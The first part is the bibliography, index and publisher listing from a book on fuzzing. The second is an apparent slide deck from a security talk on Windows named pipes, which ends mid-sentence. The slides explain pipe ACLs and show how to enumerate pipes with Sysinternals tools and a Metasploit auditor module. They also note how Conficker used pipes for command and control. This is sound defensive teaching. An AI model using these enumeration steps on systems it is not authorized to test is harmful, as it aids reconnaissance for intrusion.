of the reliability of Unix utilities. Communications of the Association for Computing Machinery, 33(12):32–44, December 1990. 277 Peter Oehlert, “Violating Assumptions with Fuzzing”, IEEE Security & Privacy, Pgs 58–62, March/April 2005. David Rice. Geekonomics: The Real Cost of Insecure Software. Addison-Wesley. 2007. Tero T. Rontti. Robustness Testing Code Coverage Analysis. University of Oulu, Department of Electrical and Information Engineering. Master’s Thesis, 52p. 2004. Ian Sommerville. Software Engineering, 8th edition. Addison-Wesley. 2006. Michael Sutton, Adam Greene, Pedram Amini. Fuzzing: Brute Force Vulnerability Discovery. Addison-Wesley. 2007. Ari Takanen, Petri Vuorijärvi, Marko Laakso, and Juha Röning. Agents of responsibility in soft- ware vulnerability processes. Ethics and Information Technology. June 2004, vol. 6, no. 2, pp. 93–110(18). Ari Takanen and Sami Petäjäsoja. Assuring the robustness and security of new wireless technolo- gies. ISSE 2007 conference, 27 Sept. 2007. Warsaw, Poland. Ari Takanen, Marko Laakso, Juhani Eronen and Juha Röning. Running Malicious Code By Exploiting Buffer Overflows: A Survey Of Publicly Available Exploits. EICAR 2000 Best Paper Proceedings, pp.158–180. 2000. Peter Thermos and Ari Takanen. Securing VoIP Networks: Threats, Vulnerabilities, and Coun- termeasures. Addison-Wesley. 2007. 278 Bibliography Index 279 Achilles Vulnerability Assessment Project, 265 ActiveX, 8 Ad-hoc threat analysis, 106–107 Advanced fuzzing, 197–219 automatic protocol discovery, 197–198 evolutionary fuzzing, 201–219 symbolic execution, 199–201 using code coverage information, 198–199 Aitel, Dave, 146 Alvarez, 132 Amini, Pedrum, 159, 179 Anomaly library, 29 Apple’s QuickTime media player, 268–273 Application developer fuzzing, 259–263 browser fuzzing, 262–263 command-line application fuzzing, 259 file fuzzing, 259–260 web application fuzzing, 261–262 Application-level gateway (ALG), 251 Application monitoring, 176–180 Application programmer interface (API), 84, 146 fuzzing, 164 Applications, 250 Application-specific fuzzers, 229 Art of Fuzzing, The (TAOF), 151, 152–155, 227 Assessment coverage, 133 Assessment frequency, 133 Attack heuristics, 60 Attacks, 5 Attack simulation engine, 29 Attack surface, 60, 120 and attack vectors, 6–9 Audio Video Interleave (AVI) format, 269 “Automated Whitebox Fuzz Testing” (Godefroid, Levin, and Molnar), 199 Automatic protocol delivery, 197–198 Availability, 13, 103 Availability of critical infrastructure components, 5 Backus-Naur Form (BNF), 92 Basili, Victor R., 14 Beizer, Boris, 13, 23, 71, 91, 102 Benchmarking, 215 BeSTORM monitor, 176–177, 198, 228–229 Beyond Security, 228 Binary simulation, 181–183 Black-box fuzzing for security researchers, 267–273 carry out the fuzzing, 271–272 choose a monitoring tool, 270–271 choose fuzzer/fuzzer type, 269–270 enumerate interfaces, 268–269 post-fuzzing analysis, 272–273 select target, 268 Black-box testing, 17, 21, 24, 80, 83–86, 144 fuzz testing as a profession, 84–86 software interfaces, 84 test targets, 84 Black-box testing, purposes of, 86–88 feature or conformance testing, 86–87 interoperability testing, 87 performance testing 87–88 robustness testing, 88 Black-box testing techniques for security, 89–96 fault injection, 90–91 load testing, 89–90 negative testing, 94–95 regression testing, 95–96 security scanners, 90 stress testing, 90 syntax testing, 91–93 unit testing, 90 Block-based fuzzer, 27 Bluetooth, 8, 9, 264 BNF, 94, 124 Bochs, 183 Boehm, Barry, 14 Brown, Tim, 148 Browser fuzzing, 262–263 Brute force login, 52–53 Buffer Security Check (“/GS” compile flag), 66 Bug bounty hunters, 108, 109 Bug categories, 42–54 brute force login, 52–53 cryptographic attacks, 54 denials of service, 53–54 man in the middle, 54 memory corruption errors, 42–49 race conditions, 53 session hijacking, 54 web applications, 50–52 Bug hunter, 38 Bug hunting techniques, 55–59 reverse engineering, 55–57 source code auditing, 57–59 Bugs, 230–231 FTP bug 0, 230 FTP bugs 2, 16, 230–231 Building and classifying fuzzers, 137–166 detailed view of fuzzer types, 145–162 fuzzer classification via interface, 162–165 fuzzing methods, 137–145 Capture-replay, 150–159 Autodafé, 150–151 General Purpose Fuzzer (GPF), 156–159 Ioctlizer, 151, 155–157 The Art of Fuzzing (TAOF), 151, 152–155 Carrier and service provider fuzzing, 255–259 VoIP fuzzing, 256–257 WiFi fuzzing, 257–259 Case studies. See Fuzzing case studies CCured, 183 Chan, Dmitry, 106 Client-side fuzzers, 164–165 Client software, 250 Code auditing, 21, 81–83 tools, 2 Code coverage, 89, 225–226 and finding bugs, 244–246 information, using, 198–199 metrics, 130–133 Codenomicon, 228 Code readability, 80 Code volume, 130 Command-line application fuzzing, 259 Command Line User Interface (CLI), 7, 84, 126, 127 Commercial fuzzer monitoring solutions, 176 Commercial fuzzing tools, 109–115 Common Gateway Interface (CGI), 145 Compile-time checks, 80 Confidentiality, 13, 103 Configuration errors, 35 Conformance testing, 18, 86–87 Context-dependent errors, 93 Cost-benefit of quality, 14–16 Coverage of previous vulnerabilities, 121–124 steps in analysis, 122 Cracker, 38 CrashReporter, 179–180, 271, 272 Cross-site scripting (XSS), 52 Cryptographic attacks, 54 Cybercrime, 40 Cycle through a protocol, 140 Cyclomatic complexity, 130 Data execution protection (DEP), 66 Data theft using various technical means, 5 Debuggers, 250 Defect density, 130–131 Defect metrics and security, 120–133 code coverage metrics, 130–133 coverage of previous vulnerabilities, 121–124 expected defect count metrics, 124–125 input space coverage metrics, 127–130 interface coverage metrics, 127 process metrics, 133 vulnerability risk metrics, 125–127 Defenses against implementation errors, 63–68 effectiveness of fuzzing, 63 defensive coding, 63–64 hardware overflow protection, 65–66 input verification, 64–65 software overflow protection, 66–68 Delimiter errors, 93 Demilitarized zone (DMZ), 251 Denial of service (DoS), 53–54, 167 attack, 36, 124, 125 threat, 105 Deployment flaws, 25 Design, testing, 79 Design flaws, 35 Deterministic fuzzing, 138–140 Device under test (DUT), 17, 84, 102, 257 Digital media, 8 Dirty inputs, 35 Disclosure processes, 5–6 full disclosure, 6 no disclosure, 6 partial disclosure, 6 Discovery, costs of, 108–115 280 Index Distributed Denial of Service (DDoS) attacks, 5, 18, 53 Documentation, 30 Domain Name Service (DNS), 250 Down-time (outages), 116, 117 Dumb fuzzers, 144 Dynamic generation or evolution based fuzzers, 27 Eddington, Michael, 146 Elapsed time since last disaster recovery walk-through, 118 Electric Fence, 180 Ellch, 165 Encryption, 73 Enterprise fuzzing, 32–33, 250–255 firewall fuzzing, 251–253 VPN fuzzing, 253–255 Evolutionary fuzzing, 201–219 benchmarking, 215 conclusions and future work, 219 EFS data structures, 206–207 EFS initialization, 207 EFS: novelty, 204 EFS overview, 204–206 ET breeding, 203 ET deceptive landscape, 202–203 ET fitness function, 201–202 ET flat landscape, 202 evolutionary testing, 201 GPF + PaiMei + Jpgraph = EFS, 206 motivation for an evolutionary fuzzing system, 203 pool crossover, 209–210 pool mutation, 210–211 results, 215–219 running EFS, 211–214 session crossover, 207–208 test case—Golden FTP server, 215 Evolutionary Fuzzing System (EFS), 203 data structures, 206–207 initialization, 207 motivation for, 203 novelty, 204 overview, 204–206 running, 211–214 Evolutionary testing (ET), 201 breeding, 203 deceptive landscape, 202–203 fitness function, 201–202 flat landscape, 202 Exception analysis, 223 ExecShield, 68 Executables, 8 Expected defect count metrics, 124–125 Exploitation scanners/frameworks, 37–38 Fault injection, 22, 90–91 Feature testing, 17–19, 86–87 Field-value errors, 93 FileFuzz, 150 File fuzzing, 163–164, 249, 259–260 Files, 84 as local attack vectors, 7 File system–related problems, 168 Filter techniques, 65 Firewall, 11 fuzzing, 251–253 Flash, 8 Format string errors, 43, 45 Frantzen, Mike, 165 FTP bugs, 230–231 FTPfuzz, 149 FTP fuzzers, 112, 113 Functional testing, 21 Fuzz, 22 Fuzz, The, 259 Fuzz data, source of, 140–141 Fuzzer, logical structure of, 29–30 Fuzzer classification via interface, 162–165 APIs, 164 client-side fuzzers, 164–165 files, 163–164 layer 2 through 7 fuzzing, 165 local program, 162 network interfaces, 162 web fuzzing, 164 Fuzzer comparison, 221–248 bugs, 230–231 closer look at the results, 234–241 evaluating fuzzers, 224–226 fuzzing life cycle, 221–223 general conclusions, 241–247 introducing the fuzzers, 226–229 results, 231–234 targets, 229 Fuzzers, 24 Fuzzers, building and classifying. See Building and classifying fuzzers Fuzzers, evaluating, 224–226 caveats, 226 code coverage, 225–226 Index 281 Fuzzers, evaluating (cont.) retrospective testing, 224–225 simulated vulnerability discovery, 225 Fuzzers, introducing, 226–229 application-specific fuzzers, 229 beSTORM, 228–229 Codenomicon, 228 General Purpose Fuzzer (GPF), 226–227 Mu-4000, 228 ProxyFuzz, 227 The Art of Fuzzing (TAOF), 227 Fuzzer testing results, 231–234 DNS, 233–234, 240–241 FTP, 232–233, 234–237 SNMP, 233, 237–240 Fuzzer types, 26–29, 145–162 capture-replay, 150 fuzzing libraries: frameworks, 146–148 generic fuzzers, 149–150 in-memory fuzzing, 161–162 next-generation fuzzing frameworks: Sulley, 159–161 protocol-specific fuzzers, 148–149 single-use fuzzers, 145–146 Fuzzing, 22–33 defined, 1 as distinct testing method, 14 fuzzer types, 26–29 fuzzing and the enterprise, 32–33 fuzzing frameworks and test suites, 31 fuzzing overview, 24–25 fuzzing process, 30–31 goal of, 25 history of fuzzing, 22–24 local structures of a fuzzer, 29–30 vulnerabilities found with fuzzing, 25–26 Fuzzing: Brute Force Vulnerability Discovery (Sutton, Green, and Amini), 159, 179 Fuzzing case studies, 249–274 application developer fuzzing, 259–263 black-box fuzzing for security researchers, 267–273 carrier and service provider fuzzing, 255–259 enterprise fuzzing, 250–255 industrial automation fuzzing, 265–267 network equipment manufacturer fuzzing, 263–265 Fuzzing frameworks and test suites, 31 Fuzzing libraries: frameworks, 146–148 Fuzzing life cycle, 221–223 exception analysis, 223 identifying interfaces, 221 input generation, 222 report, 223 sending inputs to the target, 222–223 target monitoring, 223 Fuzzing methods, 137–135 and bug hunting, 59–63 fuzzing vectors, 141–142 intelligent fuzzing, 142–144 intelligent versus dumb (nonintelligent) fuzzers, 144 paradigm split: random or deterministic fuzzing, 138–140 source of fuzz data, 140–141 white-box, black-box, and gray-box fuzzing, 144–145 Fuzzing metrics, 99–136 defect metrics and security, 120–133 test automation for security, 133–134 threat analysis and risk-based testing, 103–107 transition to proactive security, 107–120 Fuzzing process, 30–31 Fuzzing targets, categories of, 249–250 applications (Web, VoIP, mobile), 250 client software, 250 middleware, 249 proxy or gateway software, 250 server software, 249 Fuzzing vectors, 141–142 Fuzzled, 148 Fuzz testing as a profession, 84–86 QA leader, 86 QA technical leader, 86 test automation engineer, 86 test engineer/designer, 86 Gateway software, 250 General conclusions, 241–247 does code coverage predict bug finding?, 244–246 generational-based approach is superior, 242 how long to run fuzzers with random elements, 246–247 initial test cases matter, 242–243 protocol knowledge, 243–244 random fuzzers find easy bugs first, 247 real bugs, 244 the more fuzzers, the better, 242 General Purpose Fuzzer (GPF), 139–140, 156–159, 226–227 Generational-based approach, 242, 246 282 Index Generic fuzzers, 149–150 FileFuzz, 150 ProxyFuzz, 149 Golden FTP (GFTP) server, 215, 217–218 GPF + PaiMei + Jpgraph = EFS, 206 Gray-box fuzzer, 128 Graphical User Interface (GUI), 7, 84, 126, 127 Gray-box testing, 21, 24, 80, 145 Greene, Adam, 159, 179 Guard Malloc, 180–181, 183, 187–188, 192–193 Guruswamy, 132 Hackers, 1–2, 5, 12, 37–40, 101 Hardware overflow protection, 65–66 hardware DEP, 66 secure bit, 65 Heap overflow, 48 Heap variable overwrite, 48–49 Holcombe, M., 204 Hostile data, 60–62 Howard, Michael, 224 ikefuzz, 148–149 Implementation, 20–21 errors, 35 Implementation under test (IUT), 17, 84 Industrial automation fuzzing, 265–267 Industrial networks, 9 Information technology (IT) security, 41–42 Initial test cases, 242–243 In-memory fuzzing, 161–162 Input generation, 222 Input source, 60 Input space, 60 coverage, 89 coverage metrics, 127–130 Input verification, 64–65 Insure++, 183, 189–190, 194–195 Intangibles cost, 117 Integer errors, 46–47 Integrity, 13, 103 Intelligent fuzzing, 142–144 Intelligent versus dumb (nonintelligent) fuzzers, 144 Interface coverage, 89 metrics, 127 Interfaces identifying, 221 to a system, 84 Internally built fuzzers, 109, 111, 112 Internet Explorer, 260 Internet Key Exchange (IKE) fuzzer, 112, 143 Interoperability testing, 18, 87 Intrusion Detection System (IDS), 11 Intrusion Prevention System (IPS), 11 IP Stack Integrity Checker (ISIC), 165 JavaScript, 8, 52, 261 Kaksonen, Ravli, 94 Known vulnerability density, 130, 131 Layer 2 through 7 fuzzing, 165 Legs, 207 Library, 141 Library interception, 180–181 Lines of code (LOC), 130 Load testing, 89–90 Local attack vectors, 7–8 Command Line User Interface (CLI), 7 files, 7 Graphical User Interface (GUI), 7 local network loops, 8 physical hardware access, 8 Programming interfaces (API), 7 Local network loops, 8 Local program fuzzing, 162 Local programming interface (API), 126, 127 Loss of data fees, 117 Man in the middle (MITM) attacks, 54 Manufacturing defects, 25 Maynor, 165 McCabe’s metric for cyclomatic complexity, 130 McMinn, P., 204 Mean/median of unplanned outage, 116 Mean time between failures, 117 Mean time to recovery, 117 Media files, 8 Memcheck, 182 Memory corruption errors, 42–49 format string errors, 43, 45 heap overflow, 48 integer errors, 46–47 off-by-one error, 47–48 other memory overwrites, 49 stack overflows, 43, 44 (uninitialized) stack or heap variable overwrites, 48–49 Memory-related vulnerabilities, 169–170 Metadata injection vulnerabilities, 168–169 Index 283 Metrics, fuzzing. See Fuzzing metrics Metrics, testing, 88–89 Michigan State University, 65 Middleware, 249 Miller, Barton, 22, 91, 138, 259 Miller, Charlie, 138 MIME-enabled applications, 126 Mini-Simulation Toolkit (PROTOS), 148 Mishandling of malicious content received over network, 5 Mobile phone fuzzing, 264–265 Model-based fuzzers, 27–29 Monitoring, methods of, 170–180 application monitoring, 176–180 commercial fuzzer monitoring solutions, 176 remote monitoring, 175–176 system monitoring, 171–175 valid case instrumentation, 170–171 Monkey, The, 22 Moore, H. D., 164 Morris Internet Worm, 22 Mu-4000, 228 MuSecurity, 176, 228 Mutation fuzzers, 138, 150 Negative testing, 22, 24, 94–95, 129 Next-generation fuzzing frameworks: Sulley, 159–161 Next Generation Networks (Triple-Play), 9 Nessus, 36–37, 90, 122, 123 Nessus Security scanner, 4 Network analyzer, 9, 250 Network equipment manufacturer fuzzing, 263–265 mobile phone fuzzing, 264–265 network switch fuzzing, 263 Network fuzzing, 249 Network interface card (NIC), 84 Network interfaces, 162 Network protocols, 8, 84 Network switch fuzzing, 263 Network Time Protocol (NTP), 250 Non-exploitation vulnerability scanners, 36–37 Nonintelligent fuzzers, 144 Off-by-one error, 47–48 Openness of wireless networks, 5 Operations phase, 3–4 Oulu University Secure Programming Group (OUSPG), 6, 23, 118–119, 148 Packets, 252 Page table entry (PTE), 66 Parasoft, 183 “Patch and penetrate” race, 5 Patch deployment, cost of, 117–120 PAX, 68 Peach Fuzzer Framework, 146, 147–148 Penetration testers, 38, 41 Performance testing, 17–19, 87–88 Perl Compatible Regular Expression (RCRE) library, 190–195 Pesticide paradox, 95–96 PHP file inclusions, 50 Physical hardware access, 8 PNG image decoder, 260 PolyGlot, 197 Pool crossover, 207–208 Pool mutation, 210–211 Port scanner, 9 Proactive security, 10–12 Proactive security, transition to, 107–120 cost of discovery, 108–115 cost of patch deployment, 117–120 cost of remediation, 115–116 cost of security compromises, 116–117 Processing of untrusted data received over network, 5 Process metrics, 133 Process monitoring tools, 250 Product line testing (PLT), 85 Product security team (PST), 84–85 Programming Interfaces (API), 7 Proof-of-concept (POC) demonstration, 35–36 Protocol knowledge, 243–244 Protocol modeler, 29 Protocol-specific fuzzers, 148–149 FTPfuzz, 149 ikefuzz, 148–149 PROTOS project, 12, 23–25, 75–76, 112, 122, 148, 171 file fuzzers, 83 Genome project, 259 ProxyFuzz, 149, 161, 227, 243–244, 246–247 Proxy software, 250 Python script, 16 Quality, measuring, 73–77 end users’ perspective, 77 quality brings visibility to the development process, 77 quality is about finding defects, 76 284 Index quality is about validation of features, 73–76 quality is a feedback loop to development, 76–77 Quality, testing for, 77–79 testing on the developer’s desktop, 79 testing the design, 79 V-model, 78–79 Quality assurance (QA), 1, 101–103 Quality assurance and security, 71–73 security defects, 73 security in software development, 72 Quality assurance (QA) leader, 86 Quality assurance processes (QAP), 85 Quality assurance (QA) technical leader, 86 Race conditions, 53 Random fuzzers, 140–141, 247 Random fuzzing, 138–140 Reactive security, 10–12 Real bugs, 244 Regression testing, 95–96 Reliability, 116 Remediation, cost of, 115–116 Remote attack vectors, 8–9 digital media, 8 network protocols, 8 web applications, 8 wireless infrastructures, 8–9 Remote file inclusion (RFI), 50 Remote monitoring, 175–176 Reporting, 223 Reporting engine, 29 Research and development (R&D) phase, 3–4 Retrospective testing, 224–225 Return on Security Investment (ROSI), 110, 117 Reverse engineering (RE or RE’ing), 55–57 Risk-based testing. See Threat analysis and risk- based testing Robustness testing, 17–19, 88, 94–95, 129–130 Rontti, Tero, 131, 132 Rough Auditing Tool for Security (RATS), 58–59, 131 Runtime analysis engine, 29 Safe Structured Exception Handling (SafeSEH), 67 SAGE (Scalable, Automated, Guided Execution), 199–201 SCADA, 165, 265–267 Scripting framework, 250 Second-generation bugs, 28 Secure bit, 65 Security assurance engineer, 38 Security compromises, cost of, 116–117 Security goals, 35, 103 availability, 35, 103 confidentiality, 35, 103 integrity, 35, 103 Security mistakes, 9–10 Security requirements, 12–13 availability, 13 confidentiality, 13 integrity, 13 Security researcher, 38, 40–41 Security scanners, 12, 36–38, 90, 123 Sending inputs to the target, 222–223 Server software, 249 Service provider fuzzing, 255–259 Session crossover, 207–208 Session hijacking, 54 Session mutation, 208–209 Sessions, 204–206 Sharefuzz, 162 Simulated vulnerability discovery, 225 Simulation-based fuzzers, 27 Single-use fuzzers, 145–146 SIP method, 122 Software DEP, 67 Software development life cycle (SDLC), 11, 25, 71, 78, 99 Software interfaces, 84 data structures (e.g., files), 84 network protocols, 84 system APIs (e.g., system calls and device drivers), 84 user interface (e.g., GUI, command line), 84 Software overflow protection, 66–68 GS, 66–67 PAX and ExecShield, 68 SafeSEH, 67 software DEP, 67 StackGuard, 68 Software product life cycle, 107–108 post-deployment (maintenance), 198 pre-deployment (development), 107 Software quality, 13–21 code auditing, 21 cost-benefit of quality, 14–16 functional testing, 21 structural testing, 19–21 target of test, 16–17 testing purposes, 17–19 Index 285 Software security, 2–13 attack surfaces and attack vectors, 6–9 disclosure processes, 5–6 proactive security, 10–12 reasons behind security mistakes, 9–10 security incident, 4–5 security requirements, 12–13 Software security testers, 41 Software testers, 2 Software Testing Techniques (Beizer), 71 Software vulnerabilities, 5 Software vulnerability analysis (VA), 35–69 basic bug categories, 42–54 bug hunting techniques, 55–59 defenses, 63–68 fuzzing, 59–63 people conducting, 38–42 purpose of, 36–38 target software, 42 Sommerville, Ian, 79 Source code auditing tool, 4, 57–59 Specification, 19–20, 25 Specification coverage, 88 SPIKE, 139, 146 StackGuard, 68 Stack overflows, 43, 44 State dependency errors, 93 Static and random template-based fuzzer, 27 Stress testing, 90 Structural testing, 19–21 Structural versus functional testing, 80 Structured Exception Handler (SEH), 67 Structured query language (SQL), 261 injections, 50–51 Subcontrolled security assessments, 108, 109 Sulley, 139–140, 141, 142, 159–161 Support response times, 117 Sutton, Michael, 150, 159, 179 Symbolic execution, 199–201 Syntax testing, 22, 91–93 types of errors produced, 93 System administration (SA), 1 System monitoring, 171–175 System revenue generation, 116 System under test (SUT), 16, 30–31, 84, 102 Target monitoring, 167–195, 223 advanced methods, 180–184 case study: PCRE, 190–195 methods of monitoring, 170–180 monitoring overview, 184 test program, 184–190 what can go wrong and what it looks like, 167–170 Target of test, 16–17 Targets, 229 DNS, 229 FTP, 229 SNMP, 229 Target software, 42 Test automation engineer, 86 Test automation for security, 114, 133–134 Test case–Golden FTP server, 215 Test cases, 140 Test controller, 250 Test engineer/designer, 86 Tester, 38, 39, 41 Test harness, 250 debuggers for all target platforms, 250 network analyzers, 250 process monitoring tools, 250 scripting framework or a test controller, 250 Testing, 77–96 black-box testing, 83–86 black-box testing, purpose of, 86–88 black-box testing, techniques for security, 89–96 main categories of testing, 79–80 testing for quality, 77–79 testing metrics, 88–89 white-box testing, 80–83 Testing metrics, 88–89 code coverage, 89 input space coverage, 89 interface coverage, 89 specification coverage, 88 Testing purposes, 17–19 Test-lab environment, 3–4 Test program, 184–190 the program, 184–185 test cases, 185–190 Thousands of lines of code (KLOC), 130 Threat analysis and risk-based testing, 103–107 ad-hoc threat analysis, 106–107 threat databases, 105–106 threat trees, 104–105 Threat databases, 105–106 denial of service, 105 interception and modification, 105 Threats, 5 Threat trees, 104–105 Tiger-team approach, 102 286 Index Tokens, 206–207 Tools and techniques (T&T) testers, 85 Tool soundness, 130 Trust boundary, 60 TTCN, 127 UDP, 128 (Uninitialized) stack overwrite, 48–49 Unit testing, 90 Up-time, 116–117 Valgrind, 182, 183, 188–189, 193–194 Validation, 13 Validation testing versus defect testing, 79–80 Valid case instrumentation, 170–171 Vehicle Area Networks, 9 Verification, 13 Verification and validation (V&V), 102 Virtualization, 183–184 Virtual Private Network (VPN), 251 fuzzing, 253–255 Viruses, 5 VMware, 183 V-model, 78–79 Voice over IP (VoIP) fuzzing 256–257 VoIP Security Alliance (VoIPSA), 105 Vuagnoux, Martin, 150 Vulnerabilities found with fuzzing, 25–26 Vulnerability analysis (VA), 101–102 Vulnerability analyst/researcher, 38, 40–41 Vulnerability assessment (VA), 1 Vulnerability risk metrics, 125–127 Vulnerability scanners, 12, 36–38, 72, 123 Web application fuzzing, 261–262 Web applications, 8, 50–52 cross-site scripting (XSS), 52 PHP file inclusions, 50 SQL injections, 50–51 XPath, XQuery, and other injection attacks, 51–52 Web fuzzing, 164, 249 White-box testing, 80–83, 144 code auditing, 81–83 inspections and reviews, 80–81 making the code readable, 80 WiFi fuzzing, 257–259 Wireless fuzzing, 249, 257–259 Wireless infrastructure, 8–9 Wireless technologies, 9 WLAN, 256 Worms, 5 Xen, 183 XML, 127 XPath attacks, 51 XQuery attacks, 51 Zero-day flaws, 100, 134 Index 287 Recent Related Artech House Titles Achieving Software Quality Through Teamwork, Isabel Evans Agile Software Development, Evaluating the Methods for Your Organization, Alan S. Koch Agile Systems with Reusable Patterns of Business Knowledge: A Component-Based Approach, Amit Mitra and Amar Gupta Discovering Real Business Requirements for Software Project Success, Robin F. Goldsmith Engineering Wireless-Based Software Systems and Applications, Jerry Zeyu Gao, Simon Shim, Xiao Su, and Hsin Mei Enterprise Architecture for Integration: Rapid Delivery Methods and Technologies, Clive Finkelstein Fuzzing for Software Security Testing and Quality Assurance, Ari Takanen, Jared DeMott, and Charlie Miller Handbook of Software Quality Assurance, Fourth Edition, G. Gordon Schulmeyer Implementing the ISO/IEC 27001 Information Security Management Standard, Edward Humphreys Open Systems and Standards for Software Product Development, P. A. Dargan Practical Insight into CMMI , Tim Kasse A Practitioner’s Guide to Software Test Design, Lee Copeland Role-Based Access Control, Second Edition, David F. Ferraiolo, D. Richard Kuhn, and Ramaswamy Chandramouli Software Configuration Management, Second Edition, Alexis Leon Utility Computing Technologies, Standards, and Strategies, Alfredo Mendoza Workflow Modeling: Tools for Process Improvement and Application Development, Alec Sharp and Patrick McDermott For further information on these and other Artech House titles, including previously considered out-of-print books now available through our In-Print-Forever ® (IPF ®) program, contact: Artech House Artech House 685 Canton Street 46 Gillingham Street Norwood, MA 02062 London SW1V 1AH UK Phone: 781-769-9750 Phone: +44 (0)20 7596-8750 Fax: 781-769-6334 Fax: +44 (0)20 7630-0166 e-mail: [email protected] e-mail: [email protected] Find us on the World Wide Web at: www.artechhouse.com
pdf
1 Call the plumber – You have a leak in your (named) pipe 2 • Presenter introduction • Key terms • Connecting to named pipes • Pipe ACLs And Connection Limitation • Named pipes in the wild Agenda • Enumerating And Scanning For Named Pipes • Sniffing Named Pipes Content • Fuzzing Named Pipes • Exploitation And Impact • Case studies & Live demo! • Mitigation And Defense 3 Gil Cohen CTO, Comsec Global • IDF Programming course graduate (“Mamram”) and former waterfall developers • Cyber Security professional with more than 12 years of experience • Vast comprehensive knowledge in penetration tests, secured design, programmers’ training and information security in general 30 years Established in 1987, Comsec has nearly three- decades of experience in all aspects of information security. 150 consultants Allows us to deliver a broad spectrum of services and to provide a uniquely flexible service level. 600 clients From blue chip companies to start-ups, Comsec has a deep sector expertise in most verticals and un- paralleled understanding of our clients’ business environment. 22 countries With offices in London, Rotterdam and excellence center in Tel Aviv, Comsec is able to deliver global impact through local presence spanning over 22 countries and five continents. Your host 4 core Services Innovation, Knowledge & Experience to Keep You Ahead of the Curve. Technical Security Services SDLC Strategy & Developer Training Architecture Design & Review Security Code Review Infrastructur e & Application Testing Mobile & IoT Security Testing Penetration Testing Offensive Security Services DDoS Readiness & Simulation Online Discovery & Security Intelligence Incident Response & Crisis Mngmt Red Team Exercises Executive Cyber Drill Employee Awareness Training & Social Engineering Exercises Governance Risk & Compliance Risk Management PCI DSS PA DSS P2PE Certification CISO as a Service ISO 27001 ISO 27032 GDPR HIPAA Cloud Readiness Cyber Readiness & Strategy 5 Key Terms 6 Introduction To Key Terms IPC or Inter-Process Communication • An operating system mechanism that allows processes and applications to manage shared data and communicate • Categorized as clients and servers, where the client requests data and the server responds to client requests • Many applications are both clients and servers, as commonly seen in distributed computing 7 Introduction To Key Terms Windows Named Pipes • One of the methods to perform IPC in Microsoft Windows • One-way or duplex pipe for communication between the pipe server and one or more pipe clients • Utilizes a unique file system called NPFS(Named Pipe Filesystem) • Any process can access named pipes, subject to security checks • All instances of a named pipe share the same pipe name, but each instance has its own buffers and handles 8 Introduction To Key Terms Windows Named Pipes Many configurations and variations: • Half Duplex or Full Duplex. • Byte-Oriented or Packet-Oriented. • Local or Network. Named pipes network communication is not encrypted and uses the protocols SMB (port 445) or DCE\RPC (port 135) Inter-process communication is not only local! 9 Introduction To Key Terms RPC or Remote Procedure Call • A protocol that allows one program to invoke a service from a program located on another computer • No need to understand the network's structure\details • Uses port 135 TCP or UDP DCE/RPC or Distributed Computing Environment / Remote Procedure Calls • A facility for calling a procedure on a remote as if it were a local procedure call • To the programmer, a remote call looks like a local call 10 Introduction To Key Terms SMB or Server Message Block • An application-layer network protocol providing shared access to files, printers, serial ports etc. • Mostly used for file sharing \\192.168.1.1\c$\Users\manager\Documents \\fileserver\public\shareddocs • Also provides an authenticated inter-process communication mechanism • Uses port number 445 TCP SMB in a nutshell 11 Introduction To Key Terms Named and Unnamed \ anonymous Pipes Two types of named pipes: • Named pipes: has a specific name, all instances share the name • Unnamed \ anonymous pipe: is not given a name o Only used for communication between a child and it’s parent process o Always local; they cannot be used for communication over a network o Vanishes as soon as it is closed, or one of the process (parent or child) completes execution o Actually named pipes with a random name 12 Connecting To A Named Pipe 13 Connecting To A Named Pipe • All pipes placed in the root directory of NPFS • Cannot be mounted within the normal filesystem • Mounted under the special path - \\.\pipe\{pipe name} o A pipe named "foo" would have a full path name of: \\.\pipe\foo o Remote connection: \\10.0.0.1\pipe\foo • Can be connected to programmatically or with dedicated tools 14 Connecting To A Named Pipe IO Ninja • Named pipes (and other communications) Swiss army knife • http://tibbo.com/ninja.htm • Free for non-commercial usage 15 Connecting To A Named Pipe • This is how it looks in Wireshark (SMB communication) 16 Pipe ACLs And Connection Limitation 17 Pipe ACLs And Connection Limitation • Named pipes are implemented by a filesystem driver in Windows NT, npfs.sys, which supports security descriptors • Security descriptors are used to control access to named pipes. • By default DACL (Discretionary Access Control Lists) permissions are set to everyone using anonymous login (null sessions) • ACLs can be modified to allow only specific users (same as file ACLs) 18 Named Pipes have Access Control Lists. For the following pipe it is permitted to everyone to connect: Pipe ACLs And Connection Limitation 19 Pipe ACLs And Connection Limitation Named pipes ACLs enumeration • Using other 3rd party tools • For example: Beyond Security Pipe Security Editor An old utility, deprecated Win32 Pipe Security Editor for Windows NT/2000/XP http://retired.beyondlogic.org/solutions/pi pesec/pipesec.htm 20 Pipe ACLs And Connection Limitation Another limitation of Windows Named Pipes in the max number of instances of a pipe 21 Named pipes in the wild 22 Conficker case study • Conficker is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. • It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. • It has been unusually difficult to counter because of its combined use of many advanced malware techniques. • It infected millions of computers including government, business and home computers in over 190 countries (!). 23 Conficker case study 24 Conficker case study • Variant C creates a named pipe, over which it can push URLs for downloadable payloads to other infected hosts on a local area network. • Named pipes can be used for C&C purposes! • Used in other Trojans as well: Moker, ZxShell and even Petya uses it to transfer extracted passwords. 25 Enumerating And Scanning For Named Pipes 26 Named pipes can be enumerated using different testing tools. For locally detecting which named pipes are opened, it is possible to use Sysinternals’ pipelist: https://download.sysinternals.com/ files/PipeList.zip Enumerating And Scanning For Named Pipes 27 Named pipes ACLs enumeration using SysInternals’ pipeacl • enables viewing permission of a certain named pipes: C:\> pipeacl \.\pipe\lsarpc Revision: 1 Reserved: 0 Control : 8004 Owner: BUILTIN\Administrators (S-1-5-32-544) Group: SYSTEM (S-1-5-18) Sacl: Not present Dacl: 3 aces (A) (00) 001f01ff : BUILTIN\Administrators (S-1-5-32-544) (A) (00) 0012019b : Anonymous (S-1-5-7) (A) (00) 0012019b : Everyone (S-1-1-0) www.securityfocus.com/tools/2629 Enumerating And Scanning For Named Pipes 28 Enumerating And Scanning For Named Pipes Forgotten Metasploit module called Pipe auditor enumerate remotely accessible named pipes, over SMB (Pipe_Auditor) or RPC (Pipe_dcerpc_auditor) https://github.com/rapid7/metasploit- framework/blob/master/modules/auxil iary/scanner/smb/pipe_auditor.rb 29 Sniffing Named Pipes Content 30 Sniffing Named Pipes Content IO Ninja also enables sniffing and monitoring traffic of a chosen named pipe: http://tibbo.com/ninja.html 31 Fuzzing Named Pipes 32 Fuzzing • Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to 